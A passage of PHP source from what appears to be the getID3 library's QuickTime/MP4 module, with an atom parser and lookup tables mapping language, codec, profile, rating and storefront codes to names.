		array_pop($atomHierarchy);
		return $atom_structure;
	}

	/**
	 * @param string $atom_data
	 * @param int    $baseoffset
	 * @param array  $atomHierarchy
	 * @param bool   $ParseAllPossibleAtoms
	 *
	 * @return array|false
	 */
	public function QuicktimeParseContainerAtom($atom_data, $baseoffset, &$atomHierarchy, $ParseAllPossibleAtoms) {
		$atom_structure = array();
		$subatomoffset  = 0;
		$subatomcounter = 0;
		if ((strlen($atom_data) == 4) && (getid3_lib::BigEndian2Int($atom_data) == 0x00000000)) {
			return false;
		}
		while ($subatomoffset < strlen($atom_data)) {
			$subatomsize = getid3_lib::BigEndian2Int(substr($atom_data, $subatomoffset + 0, 4));
			$subatomname =                           substr($atom_data, $subatomoffset + 4, 4);
			$subatomdata =                           substr($atom_data, $subatomoffset + 8, $subatomsize - 8);
			if ($subatomsize == 0) {
				// Furthermore, for historical reasons the list of atoms is optionally
				// terminated by a 32-bit integer set to 0. If you are writing a program
				// to read user data atoms, you should allow for the terminating 0.
				if (strlen($atom_data) > 12) {
					$subatomoffset += 4;
					continue;
				}
				break;
			}
			if (strlen($subatomdata) < ($subatomsize - 8)) {
			    // we don't have enough data to decode the subatom.
			    // this may be because we are refusing to parse large subatoms, or it may be because this atom had its size set too large
			    // so we passed in the start of a following atom incorrectly?
			    break;
			}
			$atom_structure[$subatomcounter++] = $this->QuicktimeParseAtom($subatomname, $subatomsize, $subatomdata, $baseoffset + $subatomoffset, $atomHierarchy, $ParseAllPossibleAtoms);
			$subatomoffset += $subatomsize;
		}

		if (empty($atom_structure)) {
			return false;
		}

		return $atom_structure;
	}

	/**
	 * @param string $data
	 * @param int    $offset
	 *
	 * @return int
	 */
	public function quicktime_read_mp4_descr_length($data, &$offset) {
		// http://libquicktime.sourcearchive.com/documentation/2:1.0.2plus-pdebian-2build1/esds_8c-source.html
		$num_bytes = 0;
		$length    = 0;
		do {
			$b = ord(substr($data, $offset++, 1));
			$length = ($length << 7) | ($b & 0x7F);
		} while (($b & 0x80) && ($num_bytes++ < 4));
		return $length;
	}

	/**
	 * @param int $languageid
	 *
	 * @return string
	 */
	public function QuicktimeLanguageLookup($languageid) {
		// http://developer.apple.com/library/mac/#documentation/QuickTime/QTFF/QTFFChap4/qtff4.html#//apple_ref/doc/uid/TP40000939-CH206-34353
		static $QuicktimeLanguageLookup = array();
		if (empty($QuicktimeLanguageLookup)) {
			$QuicktimeLanguageLookup[0]     = 'English';
			$QuicktimeLanguageLookup[1]     = 'French';
			$QuicktimeLanguageLookup[2]     = 'German';
			$QuicktimeLanguageLookup[3]     = 'Italian';
			$QuicktimeLanguageLookup[4]     = 'Dutch';
			$QuicktimeLanguageLookup[5]     = 'Swedish';
			$QuicktimeLanguageLookup[6]     = 'Spanish';
			$QuicktimeLanguageLookup[7]     = 'Danish';
			$QuicktimeLanguageLookup[8]     = 'Portuguese';
			$QuicktimeLanguageLookup[9]     = 'Norwegian';
			$QuicktimeLanguageLookup[10]    = 'Hebrew';
			$QuicktimeLanguageLookup[11]    = 'Japanese';
			$QuicktimeLanguageLookup[12]    = 'Arabic';
			$QuicktimeLanguageLookup[13]    = 'Finnish';
			$QuicktimeLanguageLookup[14]    = 'Greek';
			$QuicktimeLanguageLookup[15]    = 'Icelandic';
			$QuicktimeLanguageLookup[16]    = 'Maltese';
			$QuicktimeLanguageLookup[17]    = 'Turkish';
			$QuicktimeLanguageLookup[18]    = 'Croatian';
			$QuicktimeLanguageLookup[19]    = 'Chinese (Traditional)';
			$QuicktimeLanguageLookup[20]    = 'Urdu';
			$QuicktimeLanguageLookup[21]    = 'Hindi';
			$QuicktimeLanguageLookup[22]    = 'Thai';
			$QuicktimeLanguageLookup[23]    = 'Korean';
			$QuicktimeLanguageLookup[24]    = 'Lithuanian';
			$QuicktimeLanguageLookup[25]    = 'Polish';
			$QuicktimeLanguageLookup[26]    = 'Hungarian';
			$QuicktimeLanguageLookup[27]    = 'Estonian';
			$QuicktimeLanguageLookup[28]    = 'Lettish';
			$QuicktimeLanguageLookup[28]    = 'Latvian';
			$QuicktimeLanguageLookup[29]    = 'Saamisk';
			$QuicktimeLanguageLookup[29]    = 'Lappish';
			$QuicktimeLanguageLookup[30]    = 'Faeroese';
			$QuicktimeLanguageLookup[31]    = 'Farsi';
			$QuicktimeLanguageLookup[31]    = 'Persian';
			$QuicktimeLanguageLookup[32]    = 'Russian';
			$QuicktimeLanguageLookup[33]    = 'Chinese (Simplified)';
			$QuicktimeLanguageLookup[34]    = 'Flemish';
			$QuicktimeLanguageLookup[35]    = 'Irish';
			$QuicktimeLanguageLookup[36]    = 'Albanian';
			$QuicktimeLanguageLookup[37]    = 'Romanian';
			$QuicktimeLanguageLookup[38]    = 'Czech';
			$QuicktimeLanguageLookup[39]    = 'Slovak';
			$QuicktimeLanguageLookup[40]    = 'Slovenian';
			$QuicktimeLanguageLookup[41]    = 'Yiddish';
			$QuicktimeLanguageLookup[42]    = 'Serbian';
			$QuicktimeLanguageLookup[43]    = 'Macedonian';
			$QuicktimeLanguageLookup[44]    = 'Bulgarian';
			$QuicktimeLanguageLookup[45]    = 'Ukrainian';
			$QuicktimeLanguageLookup[46]    = 'Byelorussian';
			$QuicktimeLanguageLookup[47]    = 'Uzbek';
			$QuicktimeLanguageLookup[48]    = 'Kazakh';
			$QuicktimeLanguageLookup[49]    = 'Azerbaijani';
			$QuicktimeLanguageLookup[50]    = 'AzerbaijanAr';
			$QuicktimeLanguageLookup[51]    = 'Armenian';
			$QuicktimeLanguageLookup[52]    = 'Georgian';
			$QuicktimeLanguageLookup[53]    = 'Moldavian';
			$QuicktimeLanguageLookup[54]    = 'Kirghiz';
			$QuicktimeLanguageLookup[55]    = 'Tajiki';
			$QuicktimeLanguageLookup[56]    = 'Turkmen';
			$QuicktimeLanguageLookup[57]    = 'Mongolian';
			$QuicktimeLanguageLookup[58]    = 'MongolianCyr';
			$QuicktimeLanguageLookup[59]    = 'Pashto';
			$QuicktimeLanguageLookup[60]    = 'Kurdish';
			$QuicktimeLanguageLookup[61]    = 'Kashmiri';
			$QuicktimeLanguageLookup[62]    = 'Sindhi';
			$QuicktimeLanguageLookup[63]    = 'Tibetan';
			$QuicktimeLanguageLookup[64]    = 'Nepali';
			$QuicktimeLanguageLookup[65]    = 'Sanskrit';
			$QuicktimeLanguageLookup[66]    = 'Marathi';
			$QuicktimeLanguageLookup[67]    = 'Bengali';
			$QuicktimeLanguageLookup[68]    = 'Assamese';
			$QuicktimeLanguageLookup[69]    = 'Gujarati';
			$QuicktimeLanguageLookup[70]    = 'Punjabi';
			$QuicktimeLanguageLookup[71]    = 'Oriya';
			$QuicktimeLanguageLookup[72]    = 'Malayalam';
			$QuicktimeLanguageLookup[73]    = 'Kannada';
			$QuicktimeLanguageLookup[74]    = 'Tamil';
			$QuicktimeLanguageLookup[75]    = 'Telugu';
			$QuicktimeLanguageLookup[76]    = 'Sinhalese';
			$QuicktimeLanguageLookup[77]    = 'Burmese';
			$QuicktimeLanguageLookup[78]    = 'Khmer';
			$QuicktimeLanguageLookup[79]    = 'Lao';
			$QuicktimeLanguageLookup[80]    = 'Vietnamese';
			$QuicktimeLanguageLookup[81]    = 'Indonesian';
			$QuicktimeLanguageLookup[82]    = 'Tagalog';
			$QuicktimeLanguageLookup[83]    = 'MalayRoman';
			$QuicktimeLanguageLookup[84]    = 'MalayArabic';
			$QuicktimeLanguageLookup[85]    = 'Amharic';
			$QuicktimeLanguageLookup[86]    = 'Tigrinya';
			$QuicktimeLanguageLookup[87]    = 'Galla';
			$QuicktimeLanguageLookup[87]    = 'Oromo';
			$QuicktimeLanguageLookup[88]    = 'Somali';
			$QuicktimeLanguageLookup[89]    = 'Swahili';
			$QuicktimeLanguageLookup[90]    = 'Ruanda';
			$QuicktimeLanguageLookup[91]    = 'Rundi';
			$QuicktimeLanguageLookup[92]    = 'Chewa';
			$QuicktimeLanguageLookup[93]    = 'Malagasy';
			$QuicktimeLanguageLookup[94]    = 'Esperanto';
			$QuicktimeLanguageLookup[128]   = 'Welsh';
			$QuicktimeLanguageLookup[129]   = 'Basque';
			$QuicktimeLanguageLookup[130]   = 'Catalan';
			$QuicktimeLanguageLookup[131]   = 'Latin';
			$QuicktimeLanguageLookup[132]   = 'Quechua';
			$QuicktimeLanguageLookup[133]   = 'Guarani';
			$QuicktimeLanguageLookup[134]   = 'Aymara';
			$QuicktimeLanguageLookup[135]   = 'Tatar';
			$QuicktimeLanguageLookup[136]   = 'Uighur';
			$QuicktimeLanguageLookup[137]   = 'Dzongkha';
			$QuicktimeLanguageLookup[138]   = 'JavaneseRom';
			$QuicktimeLanguageLookup[32767] = 'Unspecified';
		}
		if (($languageid > 138) && ($languageid < 32767)) {
			/*
			ISO Language Codes - http://www.loc.gov/standards/iso639-2/php/code_list.php
			Because the language codes specified by ISO 639-2/T are three characters long, they must be packed to fit into a 16-bit field.
			The packing algorithm must map each of the three characters, which are always lowercase, into a 5-bit integer and then concatenate
			these integers into the least significant 15 bits of a 16-bit integer, leaving the 16-bit integer's most significant bit set to zero.

			One algorithm for performing this packing is to treat each ISO character as a 16-bit integer. Subtract 0x60 from the first character
			and multiply by 2^10 (0x400), subtract 0x60 from the second character and multiply by 2^5 (0x20), subtract 0x60 from the third character,
			and add the three 16-bit values. This will result in a single 16-bit value with the three codes correctly packed into the 15 least
			significant bits and the most significant bit set to zero.
			*/
			$iso_language_id  = '';
			$iso_language_id .= chr((($languageid & 0x7C00) >> 10) + 0x60);
			$iso_language_id .= chr((($languageid & 0x03E0) >>  5) + 0x60);
			$iso_language_id .= chr((($languageid & 0x001F) >>  0) + 0x60);
			$QuicktimeLanguageLookup[$languageid] = getid3_id3v2::LanguageLookup($iso_language_id);
		}
		return (isset($QuicktimeLanguageLookup[$languageid]) ? $QuicktimeLanguageLookup[$languageid] : 'invalid');
	}

	/**
	 * @param string $codecid
	 *
	 * @return string
	 */
	public function QuicktimeVideoCodecLookup($codecid) {
		static $QuicktimeVideoCodecLookup = array();
		if (empty($QuicktimeVideoCodecLookup)) {
			$QuicktimeVideoCodecLookup['.SGI'] = 'SGI';
			$QuicktimeVideoCodecLookup['3IV1'] = '3ivx MPEG-4 v1';
			$QuicktimeVideoCodecLookup['3IV2'] = '3ivx MPEG-4 v2';
			$QuicktimeVideoCodecLookup['3IVX'] = '3ivx MPEG-4';
			$QuicktimeVideoCodecLookup['8BPS'] = 'Planar RGB';
			$QuicktimeVideoCodecLookup['avc1'] = 'H.264/MPEG-4 AVC';
			$QuicktimeVideoCodecLookup['avr '] = 'AVR-JPEG';
			$QuicktimeVideoCodecLookup['b16g'] = '16Gray';
			$QuicktimeVideoCodecLookup['b32a'] = '32AlphaGray';
			$QuicktimeVideoCodecLookup['b48r'] = '48RGB';
			$QuicktimeVideoCodecLookup['b64a'] = '64ARGB';
			$QuicktimeVideoCodecLookup['base'] = 'Base';
			$QuicktimeVideoCodecLookup['clou'] = 'Cloud';
			$QuicktimeVideoCodecLookup['cmyk'] = 'CMYK';
			$QuicktimeVideoCodecLookup['cvid'] = 'Cinepak';
			$QuicktimeVideoCodecLookup['dmb1'] = 'OpenDML JPEG';
			$QuicktimeVideoCodecLookup['dvc '] = 'DVC-NTSC';
			$QuicktimeVideoCodecLookup['dvcp'] = 'DVC-PAL';
			$QuicktimeVideoCodecLookup['dvpn'] = 'DVCPro-NTSC';
			$QuicktimeVideoCodecLookup['dvpp'] = 'DVCPro-PAL';
			$QuicktimeVideoCodecLookup['fire'] = 'Fire';
			$QuicktimeVideoCodecLookup['flic'] = 'FLC';
			$QuicktimeVideoCodecLookup['gif '] = 'GIF';
			$QuicktimeVideoCodecLookup['h261'] = 'H261';
			$QuicktimeVideoCodecLookup['h263'] = 'H263';
			$QuicktimeVideoCodecLookup['hvc1'] = 'H.265/HEVC';
			$QuicktimeVideoCodecLookup['IV41'] = 'Indeo4';
			$QuicktimeVideoCodecLookup['jpeg'] = 'JPEG';
			$QuicktimeVideoCodecLookup['kpcd'] = 'PhotoCD';
			$QuicktimeVideoCodecLookup['mjpa'] = 'Motion JPEG-A';
			$QuicktimeVideoCodecLookup['mjpb'] = 'Motion JPEG-B';
			$QuicktimeVideoCodecLookup['msvc'] = 'Microsoft Video1';
			$QuicktimeVideoCodecLookup['myuv'] = 'MPEG YUV420';
			$QuicktimeVideoCodecLookup['path'] = 'Vector';
			$QuicktimeVideoCodecLookup['png '] = 'PNG';
			$QuicktimeVideoCodecLookup['PNTG'] = 'MacPaint';
			$QuicktimeVideoCodecLookup['qdgx'] = 'QuickDrawGX';
			$QuicktimeVideoCodecLookup['qdrw'] = 'QuickDraw';
			$QuicktimeVideoCodecLookup['raw '] = 'RAW';
			$QuicktimeVideoCodecLookup['ripl'] = 'WaterRipple';
			$QuicktimeVideoCodecLookup['rpza'] = 'Video';
			$QuicktimeVideoCodecLookup['smc '] = 'Graphics';
			$QuicktimeVideoCodecLookup['SVQ1'] = 'Sorenson Video 1';
			$QuicktimeVideoCodecLookup['SVQ1'] = 'Sorenson Video 3';
			$QuicktimeVideoCodecLookup['syv9'] = 'Sorenson YUV9';
			$QuicktimeVideoCodecLookup['tga '] = 'Targa';
			$QuicktimeVideoCodecLookup['tiff'] = 'TIFF';
			$QuicktimeVideoCodecLookup['WRAW'] = 'Windows RAW';
			$QuicktimeVideoCodecLookup['WRLE'] = 'BMP';
			$QuicktimeVideoCodecLookup['y420'] = 'YUV420';
			$QuicktimeVideoCodecLookup['yuv2'] = 'ComponentVideo';
			$QuicktimeVideoCodecLookup['yuvs'] = 'ComponentVideoUnsigned';
			$QuicktimeVideoCodecLookup['yuvu'] = 'ComponentVideoSigned';
		}
		return (isset($QuicktimeVideoCodecLookup[$codecid]) ? $QuicktimeVideoCodecLookup[$codecid] : '');
	}

	/**
	 * @param string $codecid
	 *
	 * @return mixed|string
	 */
	public function QuicktimeAudioCodecLookup($codecid) {
		static $QuicktimeAudioCodecLookup = array();
		if (empty($QuicktimeAudioCodecLookup)) {
			$QuicktimeAudioCodecLookup['.mp3']          = 'Fraunhofer MPEG Layer-III alias';
			$QuicktimeAudioCodecLookup['aac ']          = 'ISO/IEC 14496-3 AAC';
			$QuicktimeAudioCodecLookup['agsm']          = 'Apple GSM 10:1';
			$QuicktimeAudioCodecLookup['alac']          = 'Apple Lossless Audio Codec';
			$QuicktimeAudioCodecLookup['alaw']          = 'A-law 2:1';
			$QuicktimeAudioCodecLookup['conv']          = 'Sample Format';
			$QuicktimeAudioCodecLookup['dvca']          = 'DV';
			$QuicktimeAudioCodecLookup['dvi ']          = 'DV 4:1';
			$QuicktimeAudioCodecLookup['eqal']          = 'Frequency Equalizer';
			$QuicktimeAudioCodecLookup['fl32']          = '32-bit Floating Point';
			$QuicktimeAudioCodecLookup['fl64']          = '64-bit Floating Point';
			$QuicktimeAudioCodecLookup['ima4']          = 'Interactive Multimedia Association 4:1';
			$QuicktimeAudioCodecLookup['in24']          = '24-bit Integer';
			$QuicktimeAudioCodecLookup['in32']          = '32-bit Integer';
			$QuicktimeAudioCodecLookup['lpc ']          = 'LPC 23:1';
			$QuicktimeAudioCodecLookup['MAC3']          = 'Macintosh Audio Compression/Expansion (MACE) 3:1';
			$QuicktimeAudioCodecLookup['MAC6']          = 'Macintosh Audio Compression/Expansion (MACE) 6:1';
			$QuicktimeAudioCodecLookup['mixb']          = '8-bit Mixer';
			$QuicktimeAudioCodecLookup['mixw']          = '16-bit Mixer';
			$QuicktimeAudioCodecLookup['mp4a']          = 'ISO/IEC 14496-3 AAC';
			$QuicktimeAudioCodecLookup['MS'."\x00\x02"] = 'Microsoft ADPCM';
			$QuicktimeAudioCodecLookup['MS'."\x00\x11"] = 'DV IMA';
			$QuicktimeAudioCodecLookup['MS'."\x00\x55"] = 'Fraunhofer MPEG Layer III';
			$QuicktimeAudioCodecLookup['NONE']          = 'No Encoding';
			$QuicktimeAudioCodecLookup['Qclp']          = 'Qualcomm PureVoice';
			$QuicktimeAudioCodecLookup['QDM2']          = 'QDesign Music 2';
			$QuicktimeAudioCodecLookup['QDMC']          = 'QDesign Music 1';
			$QuicktimeAudioCodecLookup['ratb']          = '8-bit Rate';
			$QuicktimeAudioCodecLookup['ratw']          = '16-bit Rate';
			$QuicktimeAudioCodecLookup['raw ']          = 'raw PCM';
			$QuicktimeAudioCodecLookup['sour']          = 'Sound Source';
			$QuicktimeAudioCodecLookup['sowt']          = 'signed/two\'s complement (Little Endian)';
			$QuicktimeAudioCodecLookup['str1']          = 'Iomega MPEG layer II';
			$QuicktimeAudioCodecLookup['str2']          = 'Iomega MPEG *layer II';
			$QuicktimeAudioCodecLookup['str3']          = 'Iomega MPEG **layer II';
			$QuicktimeAudioCodecLookup['str4']          = 'Iomega MPEG ***layer II';
			$QuicktimeAudioCodecLookup['twos']          = 'signed/two\'s complement (Big Endian)';
			$QuicktimeAudioCodecLookup['ulaw']          = 'mu-law 2:1';
		}
		return (isset($QuicktimeAudioCodecLookup[$codecid]) ? $QuicktimeAudioCodecLookup[$codecid] : '');
	}

	/**
	 * @param string $compressionid
	 *
	 * @return string
	 */
	public function QuicktimeDCOMLookup($compressionid) {
		static $QuicktimeDCOMLookup = array();
		if (empty($QuicktimeDCOMLookup)) {
			$QuicktimeDCOMLookup['zlib'] = 'ZLib Deflate';
			$QuicktimeDCOMLookup['adec'] = 'Apple Compression';
		}
		return (isset($QuicktimeDCOMLookup[$compressionid]) ? $QuicktimeDCOMLookup[$compressionid] : '');
	}

	/**
	 * @param int $colordepthid
	 *
	 * @return string
	 */
	public function QuicktimeColorNameLookup($colordepthid) {
		static $QuicktimeColorNameLookup = array();
		if (empty($QuicktimeColorNameLookup)) {
			$QuicktimeColorNameLookup[1]  = '2-color (monochrome)';
			$QuicktimeColorNameLookup[2]  = '4-color';
			$QuicktimeColorNameLookup[4]  = '16-color';
			$QuicktimeColorNameLookup[8]  = '256-color';
			$QuicktimeColorNameLookup[16] = 'thousands (16-bit color)';
			$QuicktimeColorNameLookup[24] = 'millions (24-bit color)';
			$QuicktimeColorNameLookup[32] = 'millions+ (32-bit color)';
			$QuicktimeColorNameLookup[33] = 'black & white';
			$QuicktimeColorNameLookup[34] = '4-gray';
			$QuicktimeColorNameLookup[36] = '16-gray';
			$QuicktimeColorNameLookup[40] = '256-gray';
		}
		return (isset($QuicktimeColorNameLookup[$colordepthid]) ? $QuicktimeColorNameLookup[$colordepthid] : 'invalid');
	}

	/**
	 * @param int $stik
	 *
	 * @return string
	 */
	public function QuicktimeSTIKLookup($stik) {
		static $QuicktimeSTIKLookup = array();
		if (empty($QuicktimeSTIKLookup)) {
			$QuicktimeSTIKLookup[0]  = 'Movie';
			$QuicktimeSTIKLookup[1]  = 'Normal';
			$QuicktimeSTIKLookup[2]  = 'Audiobook';
			$QuicktimeSTIKLookup[5]  = 'Whacked Bookmark';
			$QuicktimeSTIKLookup[6]  = 'Music Video';
			$QuicktimeSTIKLookup[9]  = 'Short Film';
			$QuicktimeSTIKLookup[10] = 'TV Show';
			$QuicktimeSTIKLookup[11] = 'Booklet';
			$QuicktimeSTIKLookup[14] = 'Ringtone';
			$QuicktimeSTIKLookup[21] = 'Podcast';
		}
		return (isset($QuicktimeSTIKLookup[$stik]) ? $QuicktimeSTIKLookup[$stik] : 'invalid');
	}

	/**
	 * @param int $audio_profile_id
	 *
	 * @return string
	 */
	public function QuicktimeIODSaudioProfileName($audio_profile_id) {
		static $QuicktimeIODSaudioProfileNameLookup = array();
		if (empty($QuicktimeIODSaudioProfileNameLookup)) {
			$QuicktimeIODSaudioProfileNameLookup = array(
				0x00 => 'ISO Reserved (0x00)',
				0x01 => 'Main Audio Profile @ Level 1',
				0x02 => 'Main Audio Profile @ Level 2',
				0x03 => 'Main Audio Profile @ Level 3',
				0x04 => 'Main Audio Profile @ Level 4',
				0x05 => 'Scalable Audio Profile @ Level 1',
				0x06 => 'Scalable Audio Profile @ Level 2',
				0x07 => 'Scalable Audio Profile @ Level 3',
				0x08 => 'Scalable Audio Profile @ Level 4',
				0x09 => 'Speech Audio Profile @ Level 1',
				0x0A => 'Speech Audio Profile @ Level 2',
				0x0B => 'Synthetic Audio Profile @ Level 1',
				0x0C => 'Synthetic Audio Profile @ Level 2',
				0x0D => 'Synthetic Audio Profile @ Level 3',
				0x0E => 'High Quality Audio Profile @ Level 1',
				0x0F => 'High Quality Audio Profile @ Level 2',
				0x10 => 'High Quality Audio Profile @ Level 3',
				0x11 => 'High Quality Audio Profile @ Level 4',
				0x12 => 'High Quality Audio Profile @ Level 5',
				0x13 => 'High Quality Audio Profile @ Level 6',
				0x14 => 'High Quality Audio Profile @ Level 7',
				0x15 => 'High Quality Audio Profile @ Level 8',
				0x16 => 'Low Delay Audio Profile @ Level 1',
				0x17 => 'Low Delay Audio Profile @ Level 2',
				0x18 => 'Low Delay Audio Profile @ Level 3',
				0x19 => 'Low Delay Audio Profile @ Level 4',
				0x1A => 'Low Delay Audio Profile @ Level 5',
				0x1B => 'Low Delay Audio Profile @ Level 6',
				0x1C => 'Low Delay Audio Profile @ Level 7',
				0x1D => 'Low Delay Audio Profile @ Level 8',
				0x1E => 'Natural Audio Profile @ Level 1',
				0x1F => 'Natural Audio Profile @ Level 2',
				0x20 => 'Natural Audio Profile @ Level 3',
				0x21 => 'Natural Audio Profile @ Level 4',
				0x22 => 'Mobile Audio Internetworking Profile @ Level 1',
				0x23 => 'Mobile Audio Internetworking Profile @ Level 2',
				0x24 => 'Mobile Audio Internetworking Profile @ Level 3',
				0x25 => 'Mobile Audio Internetworking Profile @ Level 4',
				0x26 => 'Mobile Audio Internetworking Profile @ Level 5',
				0x27 => 'Mobile Audio Internetworking Profile @ Level 6',
				0x28 => 'AAC Profile @ Level 1',
				0x29 => 'AAC Profile @ Level 2',
				0x2A => 'AAC Profile @ Level 4',
				0x2B => 'AAC Profile @ Level 5',
				0x2C => 'High Efficiency AAC Profile @ Level 2',
				0x2D => 'High Efficiency AAC Profile @ Level 3',
				0x2E => 'High Efficiency AAC Profile @ Level 4',
				0x2F => 'High Efficiency AAC Profile @ Level 5',
				0xFE => 'Not part of MPEG-4 audio profiles',
				0xFF => 'No audio capability required',
			);
		}
		return (isset($QuicktimeIODSaudioProfileNameLookup[$audio_profile_id]) ? $QuicktimeIODSaudioProfileNameLookup[$audio_profile_id] : 'ISO Reserved / User Private');
	}

	/**
	 * @param int $video_profile_id
	 *
	 * @return string
	 */
	public function QuicktimeIODSvideoProfileName($video_profile_id) {
		static $QuicktimeIODSvideoProfileNameLookup = array();
		if (empty($QuicktimeIODSvideoProfileNameLookup)) {
			$QuicktimeIODSvideoProfileNameLookup = array(
				0x00 => 'Reserved (0x00) Profile',
				0x01 => 'Simple Profile @ Level 1',
				0x02 => 'Simple Profile @ Level 2',
				0x03 => 'Simple Profile @ Level 3',
				0x08 => 'Simple Profile @ Level 0',
				0x10 => 'Simple Scalable Profile @ Level 0',
				0x11 => 'Simple Scalable Profile @ Level 1',
				0x12 => 'Simple Scalable Profile @ Level 2',
				0x15 => 'AVC/H264 Profile',
				0x21 => 'Core Profile @ Level 1',
				0x22 => 'Core Profile @ Level 2',
				0x32 => 'Main Profile @ Level 2',
				0x33 => 'Main Profile @ Level 3',
				0x34 => 'Main Profile @ Level 4',
				0x42 => 'N-bit Profile @ Level 2',
				0x51 => 'Scalable Texture Profile @ Level 1',
				0x61 => 'Simple Face Animation Profile @ Level 1',
				0x62 => 'Simple Face Animation Profile @ Level 2',
				0x63 => 'Simple FBA Profile @ Level 1',
				0x64 => 'Simple FBA Profile @ Level 2',
				0x71 => 'Basic Animated Texture Profile @ Level 1',
				0x72 => 'Basic Animated Texture Profile @ Level 2',
				0x81 => 'Hybrid Profile @ Level 1',
				0x82 => 'Hybrid Profile @ Level 2',
				0x91 => 'Advanced Real Time Simple Profile @ Level 1',
				0x92 => 'Advanced Real Time Simple Profile @ Level 2',
				0x93 => 'Advanced Real Time Simple Profile @ Level 3',
				0x94 => 'Advanced Real Time Simple Profile @ Level 4',
				0xA1 => 'Core Scalable Profile @ Level1',
				0xA2 => 'Core Scalable Profile @ Level2',
				0xA3 => 'Core Scalable Profile @ Level3',
				0xB1 => 'Advanced Coding Efficiency Profile @ Level 1',
				0xB2 => 'Advanced Coding Efficiency Profile @ Level 2',
				0xB3 => 'Advanced Coding Efficiency Profile @ Level 3',
				0xB4 => 'Advanced Coding Efficiency Profile @ Level 4',
				0xC1 => 'Advanced Core Profile @ Level 1',
				0xC2 => 'Advanced Core Profile @ Level 2',
				0xD1 => 'Advanced Scalable Texture @ Level1',
				0xD2 => 'Advanced Scalable Texture @ Level2',
				0xE1 => 'Simple Studio Profile @ Level 1',
				0xE2 => 'Simple Studio Profile @ Level 2',
				0xE3 => 'Simple Studio Profile @ Level 3',
				0xE4 => 'Simple Studio Profile @ Level 4',
				0xE5 => 'Core Studio Profile @ Level 1',
				0xE6 => 'Core Studio Profile @ Level 2',
				0xE7 => 'Core Studio Profile @ Level 3',
				0xE8 => 'Core Studio Profile @ Level 4',
				0xF0 => 'Advanced Simple Profile @ Level 0',
				0xF1 => 'Advanced Simple Profile @ Level 1',
				0xF2 => 'Advanced Simple Profile @ Level 2',
				0xF3 => 'Advanced Simple Profile @ Level 3',
				0xF4 => 'Advanced Simple Profile @ Level 4',
				0xF5 => 'Advanced Simple Profile @ Level 5',
				0xF7 => 'Advanced Simple Profile @ Level 3b',
				0xF8 => 'Fine Granularity Scalable Profile @ Level 0',
				0xF9 => 'Fine Granularity Scalable Profile @ Level 1',
				0xFA => 'Fine Granularity Scalable Profile @ Level 2',
				0xFB => 'Fine Granularity Scalable Profile @ Level 3',
				0xFC => 'Fine Granularity Scalable Profile @ Level 4',
				0xFD => 'Fine Granularity Scalable Profile @ Level 5',
				0xFE => 'Not part of MPEG-4 Visual profiles',
				0xFF => 'No visual capability required',
			);
		}
		return (isset($QuicktimeIODSvideoProfileNameLookup[$video_profile_id]) ? $QuicktimeIODSvideoProfileNameLookup[$video_profile_id] : 'ISO Reserved Profile');
	}

	/**
	 * @param int $rtng
	 *
	 * @return string
	 */
	public function QuicktimeContentRatingLookup($rtng) {
		static $QuicktimeContentRatingLookup = array();
		if (empty($QuicktimeContentRatingLookup)) {
			$QuicktimeContentRatingLookup[0]  = 'None';
			$QuicktimeContentRatingLookup[1]  = 'Explicit';
			$QuicktimeContentRatingLookup[2]  = 'Clean';
			$QuicktimeContentRatingLookup[4]  = 'Explicit (old)';
		}
		return (isset($QuicktimeContentRatingLookup[$rtng]) ? $QuicktimeContentRatingLookup[$rtng] : 'invalid');
	}

	/**
	 * @param int $akid
	 *
	 * @return string
	 */
	public function QuicktimeStoreAccountTypeLookup($akid) {
		static $QuicktimeStoreAccountTypeLookup = array();
		if (empty($QuicktimeStoreAccountTypeLookup)) {
			$QuicktimeStoreAccountTypeLookup[0] = 'iTunes';
			$QuicktimeStoreAccountTypeLookup[1] = 'AOL';
		}
		return (isset($QuicktimeStoreAccountTypeLookup[$akid]) ? $QuicktimeStoreAccountTypeLookup[$akid] : 'invalid');
	}

	/**
	 * @param int $sfid
	 *
	 * @return string
	 */
	public function QuicktimeStoreFrontCodeLookup($sfid) {
		static $QuicktimeStoreFrontCodeLookup = array();
		if (empty($QuicktimeStoreFrontCodeLookup)) {
			$QuicktimeStoreFrontCodeLookup[143460] = 'Australia';
			$QuicktimeStoreFrontCodeLookup[143445] = 'Austria';
			$QuicktimeStoreFrontCodeLookup[143446] = 'Belgium';
			$QuicktimeStoreFrontCodeLookup[143455] = 'Canada';
			$QuicktimeStoreFrontCodeLookup[143458] = 'Denmark';
			$QuicktimeStoreFrontCodeLookup[143447] = 'Finland';
			$QuicktimeStoreFrontCodeLookup[143442] = 'France';
			$QuicktimeStoreFrontCodeLookup[143443] = 'Germany';
			$QuicktimeStoreFrontCodeLookup[143448] = 'Greece';
			$QuicktimeStoreFrontCodeLookup[143449] = 'Ireland';
			$QuicktimeStoreFrontCodeLookup[143450] = 'Italy';
			$QuicktimeStoreFrontCodeLookup[143462] = 'Japan';
			$QuicktimeStoreFrontCodeLookup[143451] = 'Luxembourg';
			$QuicktimeStoreFrontCodeLookup[143452] = 'Netherlands';
			$QuicktimeStoreFrontCodeLookup[143461] = 'New Zealand';
			$QuicktimeStoreFrontCodeLookup[143457] = 'Norway';
			$QuicktimeStoreFrontCodeLookup[143453] = 'Portugal';
			$QuicktimeStoreFrontCodeLookup[143454] = 'Spain';
			$QuicktimeStoreFrontCodeLookup[143456] = 'Sweden';
			$QuicktimeStoreFrontCodeLookup[143459] = 'Switzerland';
			$QuicktimeStoreFrontCodeLookup[143444] = 'United Kingdom';
			$QuicktimeStoreFrontCodeLookup[143441] = 'United States';
		}
		return (isset($QuicktimeStoreFrontCodeLookup[$sfid]) ? $QuicktimeStoreFrontCodeLookup[$sfid] : 'invalid');
	}

	/**
	 * @param string $keyname
	 * @param string|array $data
	 * @param string $boxname
	 *
	 * @return bool
	 */
	public function CopyToAppropriateCommentsSection($keyname, $data, $boxname='') {
		static $handyatomtranslatorarray = array();
		if (empty($handyatomtranslatorarray)) {
			// http://www.geocities.com/xhelmboyx/quicktime/formats/qtm-layout.txt
			// http://www.geocities.com/xhelmboyx/quicktime/formats/mp4-layout.txt
			// http://atomicparsley.sourceforge.net/mpeg-4files.html
			// https://code.google.com/p/mp4v2/wiki/iTunesMetadata
			$handyatomtranslatorarray["\xA9".'alb'] = 'album';               // iTunes 4.0
			$handyatomtranslatorarray["\xA9".'ART'] = 'artist';
			$handyatomtranslatorarray["\xA9".'art'] = 'artist';              // iTunes 4.0
			$handyatomtranslatorarray["\xA9".'aut'] = 'author';
			$handyatomtranslatorarray["\xA9".'cmt'] = 'comment';             // iTunes 4.0
